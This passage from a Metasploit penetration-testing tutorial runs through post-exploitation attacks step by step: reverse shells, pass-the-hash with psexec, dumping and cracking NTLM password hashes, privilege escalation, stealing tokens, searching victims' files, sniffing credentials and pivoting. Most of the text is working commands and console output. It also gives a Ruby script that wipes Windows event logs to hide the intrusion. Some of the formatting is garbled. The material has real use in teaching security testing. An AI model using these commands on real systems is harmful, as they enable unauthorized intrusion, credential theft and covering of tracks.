This output shows that LHOST and LPORT values must be entered for Payload.
LHOST: Local Host, i.e. the IP address that will listen locally,
LPORT: Local Port, i.e. the Port number that will listen.
Make sure that these values are the same as the values we entered for the 1.exe file that we created with the msfvenom command. The malware will want to communicate according to the values embedded in the 1.exe file.
msf exploit(handler) > set LHOST 172.16.104.130
LHOST=> 172.16.104.130
msf exploit(handler) > set LPORT 31337LPORT=> 31337msf exploit(handler) >
After making all the settings, the module is run with the exploit command and listening is started. Below is the command line that opens as a result of a client click as a result of listening.
msf exploit(handler) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Starting the payload handler...
> Sending stage (474 bytes)> Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Victim\My Documents>
24 - MSF PSexec Pass the Hash
We will use the psexec module to pass the hash value to the target system.
The psexec module is usually used during pentest operations. Thanks to this module, it becomes possible to log in to the target system. In normal use, it is enough to obtain the username and password of the system and enter them as a variable in the exploit module.
Normally, the path followed is to obtain the password with the fgdump, pwdump or cachedump commands when the meterpreter shell is opened on the system. If you find hash values during these searches, we try to solve them using various tools and obtain the open form of the passwords.
However, sometimes you may encounter a different situation. You have opened an Administrator authorized session on a system and obtained the user’s password formatted as hash. When you want to connect to another system on the same network through this system you logged in, you may not need to solve the password of the Administrator user. Usually, devices on the network communicate using these hash values. The psexec module allows you to use the hash value you find as a password.
WARNING-1:
In a system using NTLM, if the hash value you will find is in the format ******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c, you need to replace the ******NOPASSWORD******* part at the beginning with 32 zeros and enter it as a variable in psexec. In other words, the value should be in the form 00000000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c.
WARNING-2:
In a lab environment, if you receive the STATUS_ACCESS_DENIED (Command=117 WordCount=0) error even though you entered the correct hash value, you should set the RequireSecuritySignature value to 0 in the Registry settings of the target Windows system in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters.
Hashdump
Below, a Meterpreter session has been opened using an exploit and the post/windows/gather/hashdump module is used to find hash values in the system.
> Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1042)meterpreter > run post/windows/gather/hashdump
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter >
As you can see, the e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c value belonging to the Administrator user at the IP address RHOST: 192.168.57.131 has been obtained.
Now let’s try to log in to the IP address RHOST: 192.168.57.140 using this hash value. Of course, we assume that you discovered that the SMB service is running on the same network at the IP address 192.168.57.140 and port 445 in your previous scan.
psexec
First, let’s start Metasploit Framework with msfconsole and load the psexec module.
root@kali:~# msfconsole
## ### ## #### ## #### ###### #### ##### ##### ## #### ############# ## ## ## ## ## ## ## ## ## ## ### ######### ###### ## ##### #### ## ## ## ## ## ## #### # ## ## ## ## ## ## ##### ## ## ## ## #### ## #### ### ##### ##### ## #### #### #### #####[ metasploit v4.2.0-dev [core:4.2 api:1.0]+ -- --[787 exploits - 425 auxiliary - 128 post
+ -- --[238 payloads - 27 encoders - 8 nops
[ svn r14551 updated yesterday (2012.01.14)msf > search psexec
Exploits
**========**
Name Description
---- -----------
windows/smb/psexec Microsoft Windows Authenticated User Code Execution
windows/smb/smb_relay Microsoft Windows SMB Relay Code Execution
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload=> windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST=> 192.168.57.133
msf exploit(psexec) > set LPORT 443LPORT=> 443msf exploit(psexec) > set RHOST 192.168.57.140
RHOST=> 192.168.57.140
msf exploit(psexec) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.57.140 yes The target address
RPORT 445 yes Set the SMB service port
SMBPass no The password for the specified username
SMBUser Administrator yes The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.57.133 yes The local address
LPORT 443 yes The local port
Exploit target:
Id Name
-- ----
0 Automatic
SMBPass
As seen above, we need to enter the SMBPass variable in the exploit/windows/smb/psexec module. Let’s enter the hash value we have in the SMBPass variable and run the module with the exploit command.
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass=> e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
> Connecting to the server...
> Started reverse handler
> Authenticating as user 'Administrator'...
> Uploading payload...
> Created \KoVCxCjx.exe...
> Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.140[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.140[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
> Closing service handle...
> Opening service...
> Starting the service...
>Removing the service...
> Closing service handle...
> Deleting \KoVCxCjx.exe...
> Sending stage (719360 bytes)> Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.140:445)meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790](C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>
As you can see, a session has been opened at the IP address 192.168.57.140.
25 - MSF Privilege Escalation
Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.
What next?
You have done the necessary work to find a system’s vulnerability. You have found the vulnerability and after following the correct steps, you have managed to open a command line on the target computer. So what should be done next?
From this article on, we will examine the concept of privilege escalation. The security auditor who accesses the opposing system should aim to progress from this stage onwards. Controlling ongoing communication on the network and obtaining hash values can be given as examples of these. Another goal should be to access other computers using this computer as a step (Eng: Pivoting).
Even if the vulnerability you used and the exploit module for it helped you log in to the opposing computer, you may have opened an unauthorized session. In this case, the operations you can do will be limited. There are a few alternative modules in the Metasploit Framework for such cases. One of them is the getsystem command.
Unauthorized Session
As seen in the example below, an unauthorized meterpreter session was opened on the target system using the ms10_002_aurora module.
msf exploit(ms10_002_aurora) >
> Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.161
> Sending stage (748544 bytes) to 192.168.1.161
> Meterpreter session 3 opened (192.168.1.71:38699 -> 192.168.1.161:4444) at 2010-08-21 13:39:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 3> Starting interaction with 3...
meterpreter > getuid
Server username: XEN-XP-SP2-BARE\victim
meterpreter >
GetSystem
getsystem command To use it, first let’s load the priv extension to the system.
meterpreter > use priv
Loading extension priv...success.
meterpreter >
As in the getsystem -h command, you can see the available options when you use the -h parameter.
meterpreter > getsystem -h Usage: getsystem [options]Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)2 : Service - Named Pipe Impersonation (Dropper/Admin)3 : Service - Token Duplication (In Memory/Admin)meterpreter >
If you do not give any parameters to the getsystem command, it will try all possibilities by default.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Using Local Exploit
In some cases, getsystem fails. You can see an example of this below. When getsystem fails, it is necessary to send the session to the background and use other exploit modules in the Metasploit Framework.
Above is the output of a failed getsystem command. Let’s send it to the background and look at the available local exploit modules.
meterpreter > background
> Backgrounding session 1...
msf exploit(ms10_002_aurora) > use exploit/windows/local/
...snip...
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
...snip...
use exploit/windows/local/ms10_015_kitrap0d
use exploit/windows/local/ms10_092_schelevator
use exploit/windows/local/ms11_080_afdjoinleaf
use exploit/windows/local/ms13_005_hwnd_broadcast
use exploit/windows/local/ms13_081_track_popup_menu
...snip...
msf exploit(ms10_002_aurora) >
Let’s use the exploit/windows/local/ms10_015_kitrap0d module from the modules in this list.
msf exploit(ms10_002_aurora) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set SESSION 1msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.161
msf exploit(ms10_015_kitrap0d) > set LPORT 4443msf exploit(ms10_015_kitrap0d) > show options
Module options (exploit/windows/local/ms10_015_kitrap0d):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LHOST 192.168.1.161 yes The listen address
LPORT 4443 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7(x86)msf exploit(ms10_015_kitrap0d) > exploit
> Started reverse handler on 192.168.1.161:4443
> Launching notepad to host the exploit...
[+] Process 4048 launched.
> Reflectively injecting the exploit DLL into 4048...
> Injecting exploit into 4048 ...
> Exploit injected. Injecting payload into 4048...
> Payload injected. Executing exploit...
[+] Exploit finished, waitfor(hopefully privileged) payload execution to complete.
> Sending stage (769024 bytes) to 192.168.1.71
> Meterpreter session 2 opened (192.168.1.161:4443 -> 192.168.1.71:49204) at 2014-03-11 11:14:00 -0400
After making the necessary module and payload settings, the exploit that was run managed to open a session on the target system. Now, when we give the getuid command, we can act as an authorized user SYSTEM as seen below.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
26 - MSF Screenshot
Taking screenshots is one of the capabilities provided by the Meterpreter shell session. This method is generally used as evidence in pentest operations.
Screen Capture
One of the possibilities provided by the Meterpreter shell session is to be able to record the desktop image of the target computer. Taking a desktop image with this method is usually used as evidence in pentest operations.
When you log in to Meterpreter, you should move the session to the explorer.exe process. In the example below, the programs running on the system are first checked.
Let’s assume that you have logged in to Meterpreter on the target computer. First, let’s look at the running processes. You can use the ps command for this.
As seen in the sample output, explorer.exe is running with PID number 260. Let’s move the Meterpreter session to explorer.exe with the migrate command.
meterpreter > use espia
Loading extension espia...success.
Let’s save the desktop image of the target computer with the screengrab command.
meterpreter > screengrab
Screenshot saved to: /root/nYdRUppb.jpeg
meterpreter >
As you can see, the Desktop image has been saved to our local computer. When doing this, it is important to switch to a program that can manipulate folders and files, such as explorer.exe or similar. Otherwise, the screengrab command may not work.
27 - MSF Content Research
One of the things to do after opening a meterpreter shell on the target computer is to research the files on the computer.
Content Search
After opening the meterpreter shell on the target computer, one of the operations to be performed is to search the files on the computer. Companies train their users to ensure the security of their information. One of the subjects of this training is to keep sensitive information on local computers rather than on shared servers. Content search is generally performed to discover files and folders containing such sensitive information.
Let’s examine a few examples of the search command provided by the meterpreter session.
You can view help information about search with the search -h command.
meterpreter > search -h
Usage: search [-d dir][-r recurse] -f pattern
Search for **files.
OPTIONS:
-d The directory/drive to begin searching from. Leave empty to search all drives. (Default: )-f The file pattern glob to search for**. (e.g. *****secret*****.doc?)-h Help Banner.
-r Recursivly search sub directories. (Default: true)
Comments
-d: Specifies the folder to search. If left blank, all folders will be searched.
-f: Used to specify a specific file pattern.
-h: Displays help.
-r: The search is performed in the specified folder and all its subfolders. It is already active by default.
The following example command will search for files with the extension .jpg in all partitions, folders and subfolders.
meterpreter > search -f *****.jpg
Found 418 results...
...snip...
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (28521 bytes)c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (71189 bytes)c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (83794 bytes)c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (105542 bytes)...snip...
The search command searches all folders by default, but this can take a long time. The target computer user may also notice that their computer is slowing down. Therefore, specifying the folder to search using the -d option saves time and reduces the system’s processing load. You can see an example of this usage below. Note that we entered the folder separator as \\ when entering the command.
meterpreter > search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *****.pdf
Found 2 results...
c:\documents and settings\administrator\desktop\operations_plan.pdf (244066 bytes)c:\documents and settings\administrator\desktop\budget.pdf (244066 bytes)meterpreter >
28 - John The Ripper in Metasploit
John The Ripper is an application used to crack complex passwords with complex algorithms. It tries to crack hash codes saved as hash using some word lists.
John the Ripper
John The Ripper is a program used to solve complex algorithm passwords. It tries to solve codes recorded as hashes using a set of word lists.
You can also use John The Ripper in Metasploit. John the Ripper, which will be used here, deals with simple algorithms. Let’s state that you need to work outside of Metasploit for very complex and advanced hash codes. John the Ripper in Metasploit only allows you to perform an initial process to solve LM or NTLM hash codes. Let’s see with an example.
First, let’s assume that we have logged into the target computer with meterpreter. Let’s activate the post/windows/gather/hashdump module for the session that is active as session 1 and get the hash information.
msf auxiliary(handler) > use post/windows/gather/hashdump
msf post(hashdump) > set session 1session=> 1msf post(hashdump) > run
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY bffad2dcc991597aaa19f90e8bc4ee00...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:cb5f77772e5178b77b9fbd79429286db:b78fe104983b5c754a27c1784544fda7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:810185b1c0dd86dd756d138f54162df8:7b8f23708aec7107bfdf0925dbb2fed 7:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8be4bbf2ad7bd7cec4e1cdddcd4b052e:::
rAWjAW:1003:aad3b435b51404eeaad3b435b51404ee:117a2f6059824c686e7a16a137768a20:::
rAWjAW2:1004:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
> Post module execution completedYou can see the hash information on the screen. 7:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8be4bbf2ad7bd7cec4e1cdddcd4b052e:::
rAWjAW:1003:aad3b435b51404eeaad3b435b51404ee:117a2f6059824c686e7a16a137768a20:::
rAWjAW2:1004:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
> Post module execution completed
Hash bilgilerini ekranda görebilirsiniz. Now let’s use the auxiliary/analyze/jtr_crack_fast module.
msf post(hashdump) > use auxiliary/analyze/jtr_crack_fast
msf auxiliary(jtr_crack_fast) > run
> Seeded the password database with 8 words...
guesses: 3 time: 0:00:00:04 DONE (Sat Jul 16 19:59:04 2011) c/s: 12951K trying: WIZ1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])> Output: D (cred_6:2)> Output: PASSWOR (cred_6:1)> Output: GG (cred_1:2)Warning: mixed-case charset, but the current hashtype is **case**-insensitive;some candidate passwords may be unnecessarily tried more than once.
guesses: 1 time: 0:00:00:05 DONE (Sat Jul 16 19:59:10 2011) c/s: 44256K trying: **||**V} - **||**|}Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])> Output: Remaining 4 password hashes with no different salts
> Output: (cred_2)guesses: 0 time: 0:00:00:00 DONE (Sat Jul 16 19:59:10 2011) c/s: 6666K trying: 89093 - 89092> Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])> Output: Remaining 3 password hashes with no different salts
guesses: 1 time: 0:00:00:11 DONE (Sat Jul 16 19:59:21 2011) c/s: 29609K trying: zwingli1900 - password1900
Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])> Output: password (cred_6)guesses: 1 time: 0:00:00:05 DONE (Sat Jul 16 19:59:27 2011) c/s: 64816K trying: **||**|}Use the "--show" option to display all of the cracked passwords reliably
> Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])> Output: Remaining 5 password hashes with no different salts
> Output: (cred_2)guesses: 0 time: 0:00:00:00 DONE (Sat Jul 16 19:59:27 2011) c/s: 7407K trying: 89030 - 89092> Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])> Output: Remaining 4 password hashes with no different salts
[+] Cracked: Guest: (192.168.184.134:445)[+] Cracked: rAWjAW2:password (192.168.184.134:445)> Auxiliary module execution completed
msf auxiliary(jtr_crack_fast) >
As can be seen, the password for the user Guest at the IP address 192.168.184.134 was found to be rAWjAW2.
29 - MSF Incognito
Gaining access to a system, you can use the token and permissions called incognito. This article explains how to use the incognito module in Metasploit Framework.
What is Incognito?
When you log in to a system, there are permission and authorization rules called token for the users in the system. These rules are similar to cookie files used in web applications. When the user first connects to a service on the network (e.g. Net drive), they log in with their username and password. When they log in, the system defines a token for this user. Now, they will be able to use the service in the system without having to enter their password over and over again until the computer is shut down.
During pentest operations, seizing and using this token and its authorizations is called the incognito operation. token permissions are divided into two. These are called delegate and impersonate. We will continue to use their English forms so that the reader does not get confused.
Delegate: token permissions are used as declaratives. They are used in interactive sessions, for example, for operations such as remote desktop connections.
Impersonate: token permissions are personally generated permissions and are used for non-interactive services. For example, connecting to a network folder.
File servers are a very rich source of information for these token permissions.
When you capture a token on the target system, you no longer need to know the password of that user to connect to a service because authorization has already been done and authorization control is done in the background by relying on the token permission. When the meterpreter shell is opened on a system, the available token list should be checked.
Let’s Login to Meterpreter
In the example below, first the necessary settings are made using the ms08_067_netapi module and a session is opened.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST=> 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD=> windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
LHOST=> 10.211.55.162
msf exploit(ms08_067_netapi) > set LANG english
LANG=> english
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)4 Windows XP SP3 English (NX)5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)7 Windows 2003 SP1 English (NX)8 Windows 2003 SP2 English (NO NX)9 Windows 2003 SP2 English (NX)10 Windows XP SP2 Arabic (NX)11 Windows XP SP2 Chinese - Traditional / Taiwan (NX)msf exploit(ms08_067_netapi) > set TARGET 8target=> 8msf exploit(ms08_067_netapi) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Triggering the vulnerability...
> Transmitting intermediate stager for **over-sized stage...(191 bytes)> Sending stage (2650 bytes)> Sleeping before handling stage...
> Uploading DLL (75787 bytes)...
> Upload completed.
> Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028)meterpreter >
Let’s Install the Incognito Module
After we have successfully opened a meterpreter session, we need to use the incognito module. Since the incognito module belongs to meterpreter, we activate the module with the use incognito command. Then, when you give the help command, we can see the commands specific to the incognito module.
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > helpIncognito Commands
**=====**
Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for **every token
meterpreter >
Token List in the System
After loading the incognito module in Meterpreter, let’s check the list with the list_tokens command. Some of the token permissions in the list may not even be accessible to Administrator users. The type we will be most interested in is the SYSTEM token permissions.
meterpreter > list_tokens -u
Delegation Tokens Available
**=============================**
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY ETWORK SERVICE
NT AUTHORITY\SYSTEM
SNEAKS.IN\Administrator
Impersonation Tokens Available
**=============================**
NT AUTHORITY\ANONYMOUS LOGON
meterpreter >
If you noticed the token named SNEAKS.IN\Administrator in the list above, it is in the Delegation list. You need to personalize it by changing it to Impersonation. For this, we will use the impersonate_token command. Be careful to use two \\ signs when entering the command. Even though \ is only one in the list, two must be entered when entering the command.
meterpreter > impersonate_token SNEAKS.IN\\Administrator
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter > getuid
Server username: SNEAKS.IN\Administrator
meterpreter >
When the command was successfully completed, when we checked the user ID with the getuid command, we got the result Server username: SNEAKS.IN\Administrator.
Opening a Shell with a New User
Let’s log in to the command line with the execute -f cmd.exe -i -t command in Meterpreter and look at the Windows user ID with the whoami command. Here, the -i option means interact*, and the -t option means using the newly acquired SNEAKS.IN\Administrator token permission.
meterpreter > shell
Process 2804 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32> whoami
whoami
SNEAKS.IN\administrator
C:\WINDOWS\system32>
You may encounter token permissions on personal computers more often on server computers. The list will be longer since many services on the servers are interactive and multi-user. Among these, you should try the most authorized token permissions.
30 - MSF Log Management
In this article, we will look at how the ‘winenum’ script codes provided by meterpreter work to clear the logs of the target computer.
Sometimes you may want to clear the logs of the operations you perform on the target computer. For this clearing process, let’s first look at how the winenum script codes provided by meterpreter work. You can find the script file under your Metasploit Framework folder at /usr/share/metasploit-framework/scripts/meterpreter/winenum.rb. There are many sections in this file. For now, we will only deal with the # Function for clearing all event logs section.
# Function for clearing all event logsdef clrevtlgs**()**
evtlogs=['security',
'system',
'application',
'directory service',
'dns server',
'file replication service'] print_status("Clearing Event Logs, this will leave and event 517") begin
evtlogs.each do|evl| print_status("\tClearing the #{evl} Event Log")log= @client.sys.eventlog.open(evl) log.clear
file_local_write(@dest,"Cleared the #{evl} Event Log") end
print_status("All Event Logs have been cleared") rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}") end
end
Those interested in programming will easily understand the codes and how the function works. Let’s briefly explain what the above codes do. The evtlogs.each do |evl| loop opens and cleans Windows’ ‘security’, ‘system’, ‘application’, ‘directory service’, ‘dns server’ and ‘file replication service’ logs, respectively.
Now, instead of the ready script, let’s create and save our own script code by taking the example from the file above. For this, we will use Ruby coding in Meterpreter. You can see the Windows Log status before cleaning from the picture below.
Since we only want to clean the ‘system’ logs, we will only use the log = client.sys.eventlog.open('system') status from the loop above.
We are testing in this part
First, we must have opened a meterpreter shell on the target computer.
msf exploit(warftpd_165_user) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager for **over-sized stage...(191 bytes)> Sending stage (2650 bytes)> Sleeping before handling stage...
> Uploading DLL (75787 bytes)...
> Upload completed.
> Meterpreter session 2 opened (172.16.104.130:4444 -> 172.16.104.145:1246)
Then, we run the Ruby coder from the meterpreter shell with the irb command and paste the following codes.
We tried a simple log cleaning using Ruby coder in Meterpreter and we were successful in our check. We can write our own script codes using this approach.
Clearing All Logs
Writing the following codes to a file Save it in the /usr/share/metasploit-framework/scripts/meterpreter/ folder with the name clearlogs.rb.
evtlogs=['security',
'system',
'application',
'directory service',
'dns server',
'file replication service']print_line("Clearing Event Logs, this will leave an event 517")evtlogs.each do|evl| print_status("Clearing the #{evl} Event Log")log= client.sys.eventlog.open(evl) log.clear
end
print_line("All Clear! You are a Ninja!")
Now you can run these newly created script codes in the newly opened Meterpreter sessions.
msf exploit(warftpd_165_user) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Connecting to FTP server 172.16.104.145:21...
> Connected to target FTP server.
> Trying target Windows 2000 SP0-SP4 English...
> Transmitting intermediate stager for **over-sized stage...(191 bytes)> Sending stage (2650 bytes)> Sleeping before handling stage...
> Uploading DLL (75787 bytes)...
> Upload completed.
> Meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1253)meterpreter > run clearlogs
Clearing Event Logs, this will leave an event 517> Clearing the security Event Log
> Clearing the system Event Log
> Clearing the application Event Log
> Clearing the directory service Event Log
> Clearing the dns server Event Log
> Clearing the file replication service Event Log
All Clear! You are a Ninja!
meterpreter > exit
As seen in the picture below, all logs have been cleared. Only process number 517 remains. Since that process is still the process where meterpreter is running, it is still active.
In this article, we tried to write our own script file and clear the log by taking the Scripts in the Metasploit Framework as an example. We recommend that you also examine the other script files in the /usr/share/metasploit-framework/scripts/meterpreter/ folder. This way, you will learn the possibilities you have.
31 - MSF Packet Sniffing
You may want to see the information sent and received by the target computer when you open a meterpreter shell on a target computer.
Packet Sniffing
When you open the meterpreter shell on a target computer using the Metasploit Framework, you may want to see the information sent and received during the communication made by the computer you are connected to on the network. This process is called packet sniffing.
You can record this traffic with the Meterpreter sniffer module. The sniffer module, which can record up to 200,000 packets in total, records the packets in PCAP format. Thus, you can analyze the PCAP file with psnuffle, dsniff or wireshark programs.
The Meterpreter sniffer plugin uses the MicroOLAP Packet Sniffer SDK. It does not send or receive data from any part of the disk to listen to the packets. In addition, it prevents confusion by keeping the packets created by meterpreter out of the record. The data captured by meterpreter is transferred to our computer encrypted using SSL/TLS.
Let’s Log In to Meterpreter
First, you should open a meterpreter session using a service or vulnerability you discovered. You can see an example below.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126
msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119
msf exploit(ms08_067_netapi) > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Triggering the vulnerability...
> Transmitting intermediate stager for **over-sized stage...(216 bytes)> Sending stage (205824 bytes)> Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921)
Let’s Load the Sinffer Module
When the Meterpreter session is opened, we need to activate the plugin with the use sniffer command. Then, when you give the help command, you can see the available commands related to sniffer in the help list.
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > helpSniffer Commands
**================**
Command Description
------- -----------
sniffer_dump Retrieve captured packet data
sniffer_interfaces List all remote sniffable interfaces
sniffer_start Capture packets on a previously opened interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet captures on the specified interface
Listenable Interfaces
To see which network interfaces are active on the target system, we examine the list using the sniffer_interfaces command.
In our example, there is 1 interface. To listen to this network device, we give the sniffer_start 1 command. The information will be saved to the /tmp/all.cap file.
meterpreter > sniffer_start 1> Capture started on interface 1(200000 packet buffer)
Checking the Logs
While the listening process is in progress, you can use the sniffer_dump command to see how many packets were recorded and how many packets were written to the file.
meterpreter > sniffer_dump 1 /tmp/all.cap
> Dumping packets from interface 1...
> Wrote 19 packets to PCAP file /tmp/all.cap
meterpreter > sniffer_dump 1 /tmp/all.cap
> Dumping packets from interface 1...
> Wrote 199 packets to PCAP file /tmp/all.cap
packetrecorder Plugin
In addition to the Meterpreter sniffer plugin, you can also use the packetrecorder script codes developed for packet listening. This module allows you to divide packet records into specific time intervals. For example, you may want to record at 30-second intervals.
Let’s Activate ### packetrecorder
meterpreter > run packetrecorder
Meterpreter Script for **capturing packets **in **to a PCAP file
on a target host given an interface ID.
OPTIONS:
-h Help menu.
-i Interface ID number where all packet capture will be **done**.
-l Specify and alternate folder to save PCAP file.
-li List interfaces that can be used for **capture.
-t Time interval **in **seconds between recollection of packet, default 30 seconds.
Before we start listening, let’s check the list of listenable interfaces.
In this example, we see that there are 3 network devices. With the -i 2 option, we specify that we will listen to interface number 2. With the -l /root/ option, we specify where the PCAP file will be saved. After the listening starts, you can use the CTRL+C keys to finish the process after a while.
meterpreter > run packetrecorder -i 2 -l /root/
> Starting Packet capture on interface 2[+] Packet capture started
> Packets being saved **in **to /root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/XEN-XP-SP2-BARE_20101119.5105.cap
> Packet capture interval is 30 Seconds
^C
> Interrupt
[+] Stopping Packet sniffer...
meterpreter >
You can analyze the recorded PCAP file with wireshark or tshark programs. Below is an example of the tshark command. The example command searches for packets that contain the PASS statement in the packets.
root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105# tshark -r XEN-XP-SP2-BARE_20101119.5105.cap |grep PASS
Running as user "root" and group "root". This could be dangerous.
2489 82.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t
2685 96.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t```
32 - MSF Portfwd for Pivoting
Portfwd allows you to communicate with devices that are not directly accessible on the network.
Portfwd
The portfwd command used as Port Forwarding is one of the possibilities provided by Meterpreter. It is used to communicate with devices that are normally on the network but cannot be directly communicated with. In order for this to happen, we first need a pivot computer.
It allows us to connect to a network device that the computer we call pivot can connect to from our own local machine by doing port forwarding. Let’s try to explain how this happens with an example. It is useful to state from the beginning that there are 3 computers in this explanation.
Our own computer: 192.168.1.162 or 0.0.0.0
Pivot computer: 172.16.194.144
Target Computer: 172.16.194.191
What we are trying to do here is to somehow communicate with the target computer by doing Port Forwarding via the pivot computer that we have logged into meterpreter.
Displaying Help
You can display help for portfwd with the portfwd –h command while the meterpreter session is open on the pivot machine.
meterpreter > portfwd -h
Usage: portfwd [-h][add | delete | list | flush][args]OPTIONS:
-L >opt> The local host to listen on (optional).
-h Help banner.
